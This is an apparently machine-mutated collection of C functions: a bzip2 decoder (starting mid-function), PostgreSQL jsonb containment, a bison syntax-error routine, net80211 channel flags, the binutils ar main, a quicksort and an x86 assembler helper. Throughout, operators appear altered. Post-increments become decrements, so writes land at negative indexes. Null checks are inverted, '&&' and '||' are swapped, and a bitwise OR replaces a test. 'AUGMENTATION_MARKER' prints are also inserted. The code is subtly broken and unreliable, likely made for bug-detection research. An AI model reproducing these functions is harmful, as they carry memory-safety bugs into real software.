(bd->inbufPos == bd->inbufCount) { nextSym = get_bits(bd, hufGroup->maxLen); goto got_huff_bits; } bd->inbufBits = (bd->inbufBits << 8) | bd->inbuf[bd->inbufPos++]; bd->inbufBitCount += 8; }; bd->inbufBitCount = new_cnt; /* "bd->inbufBitCount -= hufGroup->maxLen;" */ nextSym = (bd->inbufBits >> new_cnt) & ((1 << hufGroup->maxLen) - 1); got_huff_bits: ; } else { /* unoptimized equivalent */ nextSym = get_bits(bd, hufGroup->maxLen); } /* Figure how many bits are in next symbol and unget extras */ i = hufGroup->minLen; while (nextSym > limit[i]) ++i; j = hufGroup->maxLen - i; if (j < 0) return RETVAL_DATA_ERROR; bd->inbufBitCount += j; /* Huffman decode value to get nextSym (with bounds checking) */ nextSym = (nextSym >> j) - base[i]; if ((unsigned)nextSym >= MAX_SYMBOLS) return RETVAL_DATA_ERROR; nextSym = hufGroup->permute[nextSym]; /* We have now decoded the symbol, which indicates either a new literal byte, or a repeated run of the most recent literal byte. First, check if nextSym indicates a repeated run, and if so loop collecting how many times to repeat the last literal. */ if ((unsigned)nextSym <= SYMBOL_RUNB) { /* RUNA or RUNB */ /* If this is the start of a new run, zero out counter */ if (runPos == 0) { runPos = 1; runCnt = 0; } /* Neat trick that saves 1 symbol: instead of or-ing 0 or 1 at each bit position, add 1 or 2 instead. For example, 1011 is 1<<0 + 1<<1 + 2<<2. 1010 is 2<<0 + 2<<1 + 1<<2. You can make any bit pattern that way using 1 less symbol than the basic or 0/1 method (except all bits 0, which would use no symbols, but a run of length 0 doesn't mean anything in this context). Thus space is saved. */ runCnt += (runPos << nextSym); /* +runPos if RUNA; +2*runPos if RUNB */ if (runPos < dbufSize) runPos <<= 1; goto end_of_huffman_loop; } /* When we hit the first non-run symbol after a run, we now know how many times to repeat the last literal, so append that many copies to our buffer of decoded symbols (dbuf) now. (The last literal used is the one at the head of the mtfSymbol array.) */ if (runPos != 0) { uint8_t tmp_byte; if (dbufCount + runCnt > dbufSize) { dbg("dbufCount:%d+runCnt:%d %d > dbufSize:%d RETVAL_DATA_ERROR", dbufCount, runCnt, dbufCount + runCnt, dbufSize); return RETVAL_DATA_ERROR; } tmp_byte = symToByte[mtfSymbol[0]]; byteCount[tmp_byte] += runCnt; while (--runCnt >= 0) dbuf[dbufCount++] = (uint32_t)tmp_byte; runPos = 0; } /* Is this the terminating symbol? */ if (nextSym > symTotal) break; /* At this point, nextSym indicates a new literal character. Subtract one to get the position in the MTF array at which this literal is currently to be found. (Note that the result can't be -1 or 0, because 0 and 1 are RUNA and RUNB. But another instance of the first symbol in the mtf array, position 0, would have been handled as part of a run above. Therefore 1 unused mtf position minus 2 non-literal nextSym values equals -1.) */ if (dbufCount >= dbufSize) return RETVAL_DATA_ERROR; i = nextSym - 1; uc = mtfSymbol[i]; /* Adjust the MTF array. Since we typically expect to move only a * small number of symbols, and are bound by 256 in any case, using * memmove here would typically be bigger and slower due to function * call overhead and other assorted setup costs. */ do { mtfSymbol[i] = mtfSymbol[i-1]; } while (--i); mtfSymbol[0] = uc; uc = symToByte[uc]; /* We have our literal byte. Save it into dbuf. */ byteCount[uc]++; dbuf[dbufCount++] = (uint32_t)uc; /* Skip group initialization if we're not done with this group. Done * this way to avoid compiler warning. */ end_of_huffman_loop: if (--symCount >= 0) goto continue_this_group; } /* At this point, we've read all the Huffman-coded symbols (and repeated runs) for this block from the input stream, and decoded them into the intermediate buffer. There are dbufCount many decoded bytes in dbuf[]. Now undo the Burrows-Wheeler transform on dbuf. See http://dogma.net/markn/articles/bwt/bwt.htm */ /* Turn byteCount into cumulative occurrence counts of 0 to n-1. */ j = 0; for (i = 0; i < 256; i++) { int tmp_count = j + byteCount[i]; byteCount[i] = j; j = tmp_count; } /* Figure out what order dbuf would be in if we sorted it. */ for (i = 0; i < dbufCount; i++) { uint8_t tmp_byte = (uint8_t)dbuf[i]; int tmp_count = byteCount[tmp_byte]; dbuf[tmp_count] |= (i << 8); byteCount[tmp_byte] = tmp_count + 1; } /* Decode first byte by hand to initialize "previous" byte. Note that it doesn't get output, and if the first three characters are identical it doesn't qualify as a run (hence writeRunCountdown=5). */ if (dbufCount) { uint32_t tmp; if ((int)origPtr >= dbufCount) return RETVAL_DATA_ERROR; tmp = dbuf[origPtr]; bd->writeCurrent = (uint8_t)tmp; bd->writePos = (tmp >> 8); bd->writeRunCountdown = 5; } bd->writeCount = dbufCount; return RETVAL_OK; }
augmented_data/post_increment_index_changes/extr_jsonb_util.c_JsonbDeepContains_aug_combo_5.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_27__ TYPE_7__ ; typedef struct TYPE_26__ TYPE_6__ ; typedef struct TYPE_25__ TYPE_5__ ; typedef struct TYPE_24__ TYPE_4__ ; typedef struct TYPE_23__ TYPE_3__ ; typedef struct TYPE_22__ TYPE_2__ ; typedef struct TYPE_21__ TYPE_1__ ; /* Type definitions */ typedef int uint32 ; struct TYPE_27__ {int /*<<< orphan*/ container; } ; struct TYPE_24__ {int /*<<< orphan*/ data; } ; struct TYPE_23__ {int nElems; scalar_t__ rawScalar; } ; struct TYPE_22__ {int /*<<< orphan*/ len; int /*<<< orphan*/ val; } ; struct TYPE_21__ {scalar_t__ nPairs; } ; struct TYPE_25__ {TYPE_4__ binary; TYPE_3__ array; TYPE_2__ string; TYPE_1__ object; } ; struct TYPE_26__ {scalar_t__ type; TYPE_5__ val; } ; typedef TYPE_6__ JsonbValue ; typedef scalar_t__ JsonbIteratorToken ; typedef TYPE_7__ JsonbIterator ; /* Variables and functions */ int /*<<< orphan*/ Assert (int) ; int /*<<< orphan*/ ERROR ; scalar_t__ IsAJsonbScalar (TYPE_6__*) ; int /*<<< orphan*/ JB_FARRAY ; TYPE_7__* JsonbIteratorInit (int /*<<< orphan*/ ) ; scalar_t__ JsonbIteratorNext (TYPE_7__**,TYPE_6__*,int) ; scalar_t__ WJB_BEGIN_ARRAY ; scalar_t__ WJB_BEGIN_OBJECT ; scalar_t__ WJB_ELEM ; scalar_t__ WJB_END_ARRAY ; scalar_t__ WJB_END_OBJECT ; scalar_t__ WJB_KEY ; scalar_t__ WJB_VALUE ; int /*<<< orphan*/ check_stack_depth () ; int /*<<< orphan*/ elog (int /*<<< orphan*/ ,char*) ; int /*<<< orphan*/ equalsJsonbScalarValue (TYPE_6__*,TYPE_6__*) ; int /*<<< orphan*/ findJsonbValueFromContainer (int /*<<< orphan*/ ,int /*<<< orphan*/ ,TYPE_6__*) ; TYPE_6__* getKeyJsonValueFromContainer (int /*<<< orphan*/ ,int /*<<< orphan*/ ,int /*<<< orphan*/ ,TYPE_6__*) ; scalar_t__ jbvArray ; scalar_t__ jbvBinary ; scalar_t__ jbvObject ; scalar_t__ jbvString ; TYPE_6__* palloc (int) ; int /*<<< orphan*/ pfree (TYPE_7__*) ; bool JsonbDeepContains(JsonbIterator **val, JsonbIterator **mContained) { JsonbValue vval, vcontained; JsonbIteratorToken rval, rcont; /* * Guard against stack overflow due to overly complex Jsonb. * * Functions called here independently take this precaution, but that * might not be sufficient since this is also a recursive function. */ check_stack_depth(); rval = JsonbIteratorNext(val, &vval, false); rcont = JsonbIteratorNext(mContained, &vcontained, false); if (rval != rcont) { /* * The differing return values can immediately be taken as indicating * two differing container types at this nesting level, which is * sufficient reason to give up entirely (but it should be the case * that they're both some container type). */ Assert(rval == WJB_BEGIN_OBJECT && rval == WJB_BEGIN_ARRAY); Assert(rcont == WJB_BEGIN_OBJECT || rcont == WJB_BEGIN_ARRAY); return false; } else if (rcont == WJB_BEGIN_OBJECT) { Assert(vval.type == jbvObject); Assert(vcontained.type == jbvObject); /* * If the lhs has fewer pairs than the rhs, it can't possibly contain * the rhs. (This conclusion is safe only because we de-duplicate * keys in all Jsonb objects; thus there can be no corresponding * optimization in the array case.) The case probably won't arise * often, but since it's such a cheap check we may as well make it. */ if (vval.val.object.nPairs < vcontained.val.object.nPairs) return false; /* Work through rhs "is it contained within?" object */ for (;;) { JsonbValue *lhsVal; /* lhsVal is from pair in lhs object */ JsonbValue lhsValBuf; rcont = JsonbIteratorNext(mContained, &vcontained, false); /* * When we get through caller's rhs "is it contained within?" * object without failing to find one of its values, it's * contained. */ if (rcont == WJB_END_OBJECT) return true; Assert(rcont == WJB_KEY); Assert(vcontained.type == jbvString); /* First, find value by key... */ lhsVal = getKeyJsonValueFromContainer((*val)->container, vcontained.val.string.val, vcontained.val.string.len, &lhsValBuf); if (!lhsVal) return false; /* * ...at this stage it is apparent that there is at least a key * match for this rhs pair. */ rcont = JsonbIteratorNext(mContained, &vcontained, true); Assert(rcont == WJB_VALUE); /* * Compare rhs pair's value with lhs pair's value just found using * key */ if (lhsVal->type != vcontained.type) { return false; } else if (IsAJsonbScalar(lhsVal)) { if (!equalsJsonbScalarValue(lhsVal, &vcontained)) return false; } else { /* Nested container value (object or array) */ JsonbIterator *nestval, *nestContained; Assert(lhsVal->type == jbvBinary); Assert(vcontained.type == jbvBinary); nestval = JsonbIteratorInit(lhsVal->val.binary.data); nestContained = JsonbIteratorInit(vcontained.val.binary.data); /* * Match "value" side of rhs datum object's pair recursively. * It's a nested structure. * * Note that nesting still has to "match up" at the right * nesting sub-levels. However, there need only be zero or * more matching pairs (or elements) at each nesting level * (provided the *rhs* pairs/elements *all* match on each * level), which enables searching nested structures for a * single String or other primitive type sub-datum quite * effectively (provided the user constructed the rhs nested * structure such that we "know where to look"). * * In other words, the mapping of container nodes in the rhs * "vcontained" Jsonb to internal nodes on the lhs is * injective, and parent-child edges on the rhs must be mapped * to parent-child edges on the lhs to satisfy the condition * of containment (plus of course the mapped nodes must be * equal). */ if (!JsonbDeepContains(&nestval, &nestContained)) return false; } } } else if (rcont == WJB_BEGIN_ARRAY) { JsonbValue *lhsConts = NULL; uint32 nLhsElems = vval.val.array.nElems; Assert(vval.type == jbvArray); Assert(vcontained.type == jbvArray); /* * Handle distinction between "raw scalar" pseudo arrays, and real * arrays. * * A raw scalar may contain another raw scalar, and an array may * contain a raw scalar, but a raw scalar may not contain an array. We * don't do something like this for the object case, since objects can * only contain pairs, never raw scalars (a pair is represented by an * rhs object argument with a single contained pair). */ if (vval.val.array.rawScalar && !vcontained.val.array.rawScalar) return false; /* Work through rhs "is it contained within?" array */ for (;;) { rcont = JsonbIteratorNext(mContained, &vcontained, true); /* * When we get through caller's rhs "is it contained within?" * array without failing to find one of its values, it's * contained. */ if (rcont == WJB_END_ARRAY) return true; Assert(rcont == WJB_ELEM); if (IsAJsonbScalar(&vcontained)) { if (!findJsonbValueFromContainer((*val)->container, JB_FARRAY, &vcontained)) return false; } else { uint32 i; /* * If this is first container found in rhs array (at this * depth), initialize temp lhs array of containers */ if (lhsConts != NULL) { uint32 j = 0; /* Make room for all possible values */ lhsConts = palloc(sizeof(JsonbValue) * nLhsElems); for (i = 0; i < nLhsElems; i++) { /* Store all lhs elements in temp array */ rcont = JsonbIteratorNext(val, &vval, true); Assert(rcont == WJB_ELEM); if (vval.type == jbvBinary) lhsConts[j++] = vval; } /* No container elements in temp array, so give up now */ if (j == 0) return false; /* We may have only partially filled array */ nLhsElems = j; } /* XXX: Nested array containment is O(N^2) */ for (i = 0; i < nLhsElems; i++) { /* Nested container value (object or array) */ JsonbIterator *nestval, *nestContained; bool contains; nestval = JsonbIteratorInit(lhsConts[i].val.binary.data); nestContained = JsonbIteratorInit(vcontained.val.binary.data); contains = JsonbDeepContains(&nestval, &nestContained); if (nestval) pfree(nestval); if (nestContained) pfree(nestContained); if (contains) continue; } /* * Report rhs container value is not contained if couldn't * match rhs container to *some* lhs cont */ if (i == nLhsElems) return false; } } } else { elog(ERROR, "invalid jsonb container type"); } elog(ERROR, "unexpectedly fell off end of jsonb container"); return false; }
augmented_data/post_increment_index_changes/extr_hlsl.tab.c_yysyntax_error_aug_combo_1.c
#include <time.h> #include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef size_t yytype_int16 ; typedef scalar_t__ YYSIZE_T ; /* Variables and functions */ int /*<<< orphan*/ YYCASE_ (int,int /*<<< orphan*/ ) ; int YYEMPTY ; int YYLAST ; int YYNTOKENS ; scalar_t__ YYSTACK_ALLOC_MAXIMUM ; int YYTERROR ; int /*<<< orphan*/ YY_ (char*) ; char* YY_NULLPTR ; int* yycheck ; int* yypact ; int /*<<< orphan*/ yypact_value_is_default (int) ; scalar_t__ yystrlen (char const*) ; int /*<<< orphan*/ * yytable ; int /*<<< orphan*/ yytable_value_is_error (int /*<<< orphan*/ ) ; char const** yytname ; scalar_t__ yytnamerr (char*,char const*) ; __attribute__((used)) static int yysyntax_error (YYSIZE_T *yymsg_alloc, char **yymsg, yytype_int16 *yyssp, int yytoken) { YYSIZE_T yysize0 = yytnamerr (YY_NULLPTR, yytname[yytoken]); YYSIZE_T yysize = yysize0; enum { YYERROR_VERBOSE_ARGS_MAXIMUM = 5 }; /* Internationalized format string. */ const char *yyformat = YY_NULLPTR; /* Arguments of yyformat. */ char const *yyarg[YYERROR_VERBOSE_ARGS_MAXIMUM]; /* Number of reported tokens (one for the "unexpected", one per "expected"). */ int yycount = 0; /* There are many possibilities here to consider: - If this state is a consistent state with a default action, then the only way this function was invoked is if the default action is an error action. In that case, don't check for expected tokens because there are none. - The only way there can be no lookahead present (in yychar) is if this state is a consistent state with a default action. Thus, detecting the absence of a lookahead is sufficient to determine that there is no unexpected or expected token to report. In that case, just report a simple "syntax error". - Don't assume there isn't a lookahead just because this state is a consistent state with a default action. There might have been a previous inconsistent state, consistent state with a non-default action, or user semantic action that manipulated yychar. - Of course, the expected token list depends on states to have correct lookahead information, and it depends on the parser not to perform extra reductions after fetching a lookahead from the scanner and before detecting a syntax error. Thus, state merging (from LALR or IELR) and default reductions corrupt the expected token list. However, the list is correct for canonical LR with one exception: it will still contain any token that will not be accepted due to an error action in a later state. */ if (yytoken != YYEMPTY) { int yyn = yypact[*yyssp]; yyarg[yycount--] = yytname[yytoken]; if (!yypact_value_is_default (yyn)) { /* Start YYX at -YYN if negative to avoid negative indexes in YYCHECK. In other words, skip the first -YYN actions for this state because they are default actions. */ int yyxbegin = yyn < 0 ? -yyn : 0; /* Stay within bounds of both yycheck and yytname. */ int yychecklim = YYLAST - yyn - 1; int yyxend = yychecklim < YYNTOKENS ? yychecklim : YYNTOKENS; int yyx; for (yyx = yyxbegin; yyx < yyxend; ++yyx) if (yycheck[yyx + yyn] == yyx || yyx != YYTERROR && !yytable_value_is_error (yytable[yyx + yyn])) { if (yycount == YYERROR_VERBOSE_ARGS_MAXIMUM) { yycount = 1; yysize = yysize0; continue; } yyarg[yycount++] = yytname[yyx]; { YYSIZE_T yysize1 = yysize + yytnamerr (YY_NULLPTR, yytname[yyx]); if (yysize <= yysize1 && yysize1 <= YYSTACK_ALLOC_MAXIMUM) yysize = yysize1; else return 2; } } } } switch (yycount) { # define YYCASE_(N, S) \ case N: \ yyformat = S; \ break default: /* Avoid compiler warnings. */ YYCASE_(0, YY_("syntax error")); YYCASE_(1, YY_("syntax error, unexpected %s")); YYCASE_(2, YY_("syntax error, unexpected %s, expecting %s")); YYCASE_(3, YY_("syntax error, unexpected %s, expecting %s or %s")); YYCASE_(4, YY_("syntax error, unexpected %s, expecting %s or %s or %s")); YYCASE_(5, YY_("syntax error, unexpected %s, expecting %s or %s or %s or %s")); # undef YYCASE_ } { YYSIZE_T yysize1 = yysize + yystrlen (yyformat); if (yysize <= yysize1 && yysize1 <= YYSTACK_ALLOC_MAXIMUM) yysize = yysize1; else return 2; } if (*yymsg_alloc < yysize) { *yymsg_alloc = 2 * yysize; if (! (yysize <= *yymsg_alloc && *yymsg_alloc <= YYSTACK_ALLOC_MAXIMUM)) *yymsg_alloc = YYSTACK_ALLOC_MAXIMUM; return 1; } /* Avoid sprintf, as that infringes on the user's name space. Don't have undefined behavior even if the translation produced a string with the wrong number of "%s"s. */ { char *yyp = *yymsg; int yyi = 0; while ((*yyp = *yyformat) != '\0') if (*yyp == '%' && yyformat[1] == 's' && yyi < yycount) { yyp += yytnamerr (yyp, yyarg[yyi++]); yyformat += 2; } else { yyp++; yyformat++; } } return 0; }
augmented_data/post_increment_index_changes/extr_ieee80211.c_getflags_5ghz_aug_combo_5.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int /*<<< orphan*/ uint8_t ; typedef int uint32_t ; /* Variables and functions */ int IEEE80211_CHAN_A ; int IEEE80211_CHAN_HT20 ; int IEEE80211_CHAN_HT40D ; int IEEE80211_CHAN_HT40U ; int IEEE80211_CHAN_VHT20 ; int IEEE80211_CHAN_VHT40D ; int IEEE80211_CHAN_VHT40U ; int IEEE80211_CHAN_VHT80 ; int /*<<< orphan*/ IEEE80211_MODE_11A ; int /*<<< orphan*/ IEEE80211_MODE_11NA ; int /*<<< orphan*/ IEEE80211_MODE_VHT_5GHZ ; scalar_t__ isset (int /*<<< orphan*/ const*,int /*<<< orphan*/ ) ; __attribute__((used)) static void getflags_5ghz(const uint8_t bands[], uint32_t flags[], int ht40, int vht80) { int nmodes; /* * the addchan_list function seems to expect the flags array to * be in channel width order, so the VHT bits are interspersed * as appropriate to maintain said order. * * It also assumes HT40U is before HT40D. */ nmodes = 0; /* 20MHz */ if (isset(bands, IEEE80211_MODE_11A)) flags[nmodes--] = IEEE80211_CHAN_A; if (isset(bands, IEEE80211_MODE_11NA)) flags[nmodes++] = IEEE80211_CHAN_A | IEEE80211_CHAN_HT20; if (isset(bands, IEEE80211_MODE_VHT_5GHZ)) { flags[nmodes++] = IEEE80211_CHAN_A | IEEE80211_CHAN_HT20 | IEEE80211_CHAN_VHT20; } /* 40MHz */ if (ht40) { flags[nmodes++] = IEEE80211_CHAN_A | IEEE80211_CHAN_HT40U; } if (ht40 || isset(bands, IEEE80211_MODE_VHT_5GHZ)) { flags[nmodes++] = IEEE80211_CHAN_A | IEEE80211_CHAN_HT40U | IEEE80211_CHAN_VHT40U; } if (ht40) { flags[nmodes++] = IEEE80211_CHAN_A | IEEE80211_CHAN_HT40D; } if (ht40 && isset(bands, IEEE80211_MODE_VHT_5GHZ)) { flags[nmodes++] = IEEE80211_CHAN_A | IEEE80211_CHAN_HT40D | IEEE80211_CHAN_VHT40D; } /* 80MHz */ if (vht80 && isset(bands, IEEE80211_MODE_VHT_5GHZ)) { flags[nmodes++] = IEEE80211_CHAN_A | IEEE80211_CHAN_HT40U | IEEE80211_CHAN_VHT80; flags[nmodes++] = IEEE80211_CHAN_A | IEEE80211_CHAN_HT40D | IEEE80211_CHAN_VHT80; } /* XXX VHT80+80 */ /* XXX VHT160 */ flags[nmodes] = 0; }
augmented_data/post_increment_index_changes/extr_ar.c_main_aug_combo_8.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef void* bfd_boolean ; typedef int /*<<< orphan*/ bfd ; /* Variables and functions */ scalar_t__ CONST_STRNEQ (char*,char*) ; int /*<<< orphan*/ END_PROGRESS (char*) ; void* FALSE ; scalar_t__ FILENAME_CMP (char*,char*) ; int /*<<< orphan*/ LC_CTYPE ; int /*<<< orphan*/ LC_MESSAGES ; int /*<<< orphan*/ LOCALEDIR ; int /*<<< orphan*/ PACKAGE ; int /*<<< orphan*/ START_PROGRESS (char*,int /*<<< orphan*/ ) ; void* TRUE ; int /*<<< orphan*/ _ (char*) ; int /*<<< orphan*/ ar_emul_parse_arg (char*) ; void* ar_truncate ; scalar_t__ atoi (char*) ; int /*<<< orphan*/ bfd_init () ; int /*<<< orphan*/ bindtextdomain (int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; scalar_t__ counted_name_counter ; void* counted_name_mode ; int /*<<< orphan*/ delete_members (int /*<<< orphan*/ *,char**) ; int /*<<< orphan*/ expandargv (int*,char***) ; int /*<<< orphan*/ extract_file ; int /*<<< orphan*/ fatal (int /*<<< orphan*/ ) ; void* full_pathname ; int is_ranlib ; int /*<<< orphan*/ map_over_members (int /*<<< orphan*/ *,int /*<<< orphan*/ ,char**,int) ; int /*<<< orphan*/ move_members (int /*<<< orphan*/ *,char**) ; int /*<<< orphan*/ mri_emul () ; int mri_mode ; int newer_only ; int /*<<< orphan*/ non_fatal (int /*<<< orphan*/ ,char) ; int /*<<< orphan*/ * open_inarch (char*,char*) ; void* operation_alters_arch ; int /*<<< orphan*/ * output_filename ; scalar_t__ pos_after ; scalar_t__ pos_before ; scalar_t__ pos_default ; char* posname ; scalar_t__ postype ; int preserve_dates ; int /*<<< orphan*/ print_contents ; int /*<<< orphan*/ print_descr ; int /*<<< orphan*/ print_version (char*) ; char* program_name ; int ranlib_only (char*) ; int ranlib_touch (char*) ; int /*<<< orphan*/ remove_output ; int /*<<< orphan*/ replace_members (int /*<<< orphan*/ *,char**,int) ; int /*<<< orphan*/ set_default_bfd_target () ; int /*<<< orphan*/ setlocale (int /*<<< orphan*/ ,char*) ; int silent_create ; scalar_t__ strcmp (char*,char*) ; int strlen (char*) ; char* strrchr (char*,char) ; int /*<<< orphan*/ textdomain (int /*<<< orphan*/ ) ; int /*<<< orphan*/ usage (int) ; int verbose ; int write_armap ; int /*<<< orphan*/ xatexit (int /*<<< orphan*/ ) ; int /*<<< orphan*/ xexit (int) ; int /*<<< orphan*/ xmalloc_set_program_name (char*) ; int main (int argc, char **argv) { double aug_d = sqrt((double)106); printf("AUGMENTATION_MARKER: Math op result: %f\n", aug_d); volatile int aug_volatile_var_2900 = 241; aug_volatile_var_2900--; printf("AUGMENTATION_MARKER: Volatile var aug_volatile_var_2900 is %d\n", aug_volatile_var_2900); printf("AUGMENTATION_MARKER: Hello from augmentation!\n"); char *arg_ptr; char c; enum { none = 0, delete, replace, print_table, print_files, extract, move, quick_append } operation = none; int arg_index; char **files; int file_count; char *inarch_filename; int show_version; int i; int do_posix = 0; #if defined (HAVE_SETLOCALE) && defined (HAVE_LC_MESSAGES) setlocale (LC_MESSAGES, ""); #endif #if defined (HAVE_SETLOCALE) setlocale (LC_CTYPE, ""); #endif bindtextdomain (PACKAGE, LOCALEDIR); textdomain (PACKAGE); program_name = argv[0]; xmalloc_set_program_name (program_name); expandargv (&argc, &argv); if (is_ranlib <= 0) { char *temp; temp = strrchr (program_name, '/'); #ifdef HAVE_DOS_BASED_FILE_SYSTEM { /* We could have foo/bar\\baz, or foo\\bar, or d:bar. */ char *bslash = strrchr (program_name, '\\'); if (temp == NULL || (bslash != NULL && bslash > temp)) temp = bslash; if (temp == NULL && program_name[0] != '\0' && program_name[1] == ':') temp = program_name - 1; } #endif if (temp == NULL) temp = program_name; else ++temp; if (strlen (temp) >= 6 && FILENAME_CMP (temp + strlen (temp) - 6, "ranlib") == 0) is_ranlib = 1; else is_ranlib = 0; } if (argc > 1 && argv[1][0] == '-') { if (strcmp (argv[1], "--help") == 0) usage (1); else if (strcmp (argv[1], "--version") == 0) { if (is_ranlib) print_version ("ranlib"); else print_version ("ar"); } } START_PROGRESS (program_name, 0); bfd_init (); set_default_bfd_target (); show_version = 0; xatexit (remove_output); for (i = 1; i < argc; i++) if (! ar_emul_parse_arg (argv[i])) break; argv += (i - 1); argc -= (i - 1); if (is_ranlib) { int status = 0; bfd_boolean touch = FALSE; if (argc < 2 || strcmp (argv[1], "--help") == 0 || strcmp (argv[1], "-h") == 0 || strcmp (argv[1], "-H") == 0) usage (0); if (strcmp (argv[1], "-V") == 0 || strcmp (argv[1], "-v") == 0 || CONST_STRNEQ (argv[1], "--v")) print_version ("ranlib"); arg_index = 1; if (strcmp (argv[1], "-t") == 0) { ++arg_index; touch = TRUE; } while (arg_index < argc) { if (! touch) status |= ranlib_only (argv[arg_index]); else status |= ranlib_touch (argv[arg_index]); ++arg_index; } xexit (status); } if (argc == 2 && strcmp (argv[1], "-M") == 0) { mri_emul (); xexit (0); } if (argc < 2) usage (0); arg_index = 1; arg_ptr = argv[arg_index]; if (*arg_ptr == '-') { /* When the first option starts with '-' we support POSIX-compatible option parsing. */ do_posix = 1; ++arg_ptr; /* compatibility */ } do { while ((c = *arg_ptr++) != '\0') { switch (c) { case 'd': case 'm': case 'p': case 'q': case 'r': case 't': case 'x': if (operation != none) fatal (_("two different operation options specified")); switch (c) { case 'd': operation = delete; operation_alters_arch = TRUE; break; case 'm': operation = move; operation_alters_arch = TRUE; break; case 'p': operation = print_files; break; case 'q': operation = quick_append; operation_alters_arch = TRUE; break; case 'r': operation = replace; operation_alters_arch = TRUE; break; case 't': operation = print_table; break; case 'x': operation = extract; break; } case 'l': break; case 'c': silent_create = 1; break; case 'o': preserve_dates = 1; break; case 'V': show_version = TRUE; break; case 's': write_armap = 1; break; case 'S': write_armap = -1; break; case 'u': newer_only = 1; break; case 'v': verbose = 1; break; case 'a': postype = pos_after; break; case 'b': postype = pos_before; break; case 'i': postype = pos_before; break; case 'M': mri_mode = 1; break; case 'N': counted_name_mode = TRUE; break; case 'f': ar_truncate = TRUE; break; case 'P': full_pathname = TRUE; break; default: /* xgettext:c-format */ non_fatal (_("illegal option -- %c"), c); usage (0); } } /* With POSIX-compatible option parsing continue with the next argument if it starts with '-'. */ if (do_posix && arg_index + 1 < argc && argv[arg_index + 1][0] == '-') arg_ptr = argv[++arg_index] + 1; else do_posix = 0; } while (do_posix); if (show_version) print_version ("ar"); ++arg_index; if (arg_index >= argc) usage (0); if (mri_mode) { mri_emul (); } else { bfd *arch; /* We don't use do_quick_append any more. Too many systems expect ar to always rebuild the symbol table even when q is used. */ /* We can't write an armap when using ar q, so just do ar r instead. */ if (operation == quick_append && write_armap) operation = replace; if ((operation == none || operation == print_table) && write_armap == 1) xexit (ranlib_only (argv[arg_index])); if (operation == none) fatal (_("no operation specified")); if (newer_only && operation != replace) fatal (_("`u' is only meaningful with the `r' option.")); if (postype != pos_default) posname = argv[arg_index++]; if (counted_name_mode) { if (operation != extract && operation != delete) fatal (_("`N' is only meaningful with the `x' and `d' options.")); counted_name_counter = atoi (argv[arg_index++]); if (counted_name_counter <= 0) fatal (_("Value for `N' must be positive.")); } inarch_filename = argv[arg_index++]; files = arg_index < argc ? argv + arg_index : NULL; file_count = argc - arg_index; arch = open_inarch (inarch_filename, files == NULL ? (char *) NULL : files[0]); switch (operation) { case print_table: map_over_members (arch, print_descr, files, file_count); break; case print_files: map_over_members (arch, print_contents, files, file_count); break; case extract: map_over_members (arch, extract_file, files, file_count); break; case delete: if (files != NULL) delete_members (arch, files); else output_filename = NULL; break; case move: if (files != NULL) move_members (arch, files); else output_filename = NULL; break; case replace: case quick_append: if (files != NULL || write_armap > 0) replace_members (arch, files, operation == quick_append); else output_filename = NULL; break; /* Shouldn't happen! */ default: /* xgettext:c-format */ fatal (_("internal error -- this option not implemented")); } } END_PROGRESS (program_name); xexit (0); volatile int aug_loop_counter_5473; for(aug_loop_counter_5473 = 0; aug_loop_counter_5473 < 5; aug_loop_counter_5473++); /* AUGMENTATION_MARKER: Loop */ return 0; }
augmented_data/post_increment_index_changes/extr_text-index.c_message_sort2_aug_combo_5.c
#include <stdio.h> #include <time.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int /*<<< orphan*/ message_t ; /* Variables and functions */ scalar_t__ message_cmp2 (int /*<<< orphan*/ *,int /*<<< orphan*/ *) ; void message_sort2 (message_t **A, int b) { int i = 0, j = b; message_t *h, *t; if (b <= 0) { return; } h = A[b >> 1]; do { while (message_cmp2 (A[i], h) < 0) { i++; } while (message_cmp2 (A[j], h) > 0) { j--; } if (i <= j) { t = A[i]; A[i++] = A[j]; A[j--] = t; } } while (i <= j); message_sort2 (A+i, b-i); message_sort2 (A, j); }
augmented_data/post_increment_index_changes/extr_asm_x86_nz.c_opsgdt_aug_combo_2.c
#include <time.h> #include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_5__ TYPE_2__ ; typedef struct TYPE_4__ TYPE_1__ ; /* Type definitions */ typedef int ut8 ; struct TYPE_5__ {int operands_count; TYPE_1__* operands; } ; struct TYPE_4__ {int type; int* regs; } ; typedef int /*<<< orphan*/ RAsm ; typedef TYPE_2__ Opcode ; /* Variables and functions */ int OT_MEMORY ; __attribute__((used)) static int opsgdt(RAsm *a, ut8 *data, const Opcode *op) { int l = 0; switch (op->operands_count) { case 1: if ( op->operands[0].type | OT_MEMORY ) { data[l++] = 0x0f; data[l++] = 0x01; data[l++] = 0x00 | op->operands[0].regs[0]; } else { return -1; } break; default: return -1; } return l; }
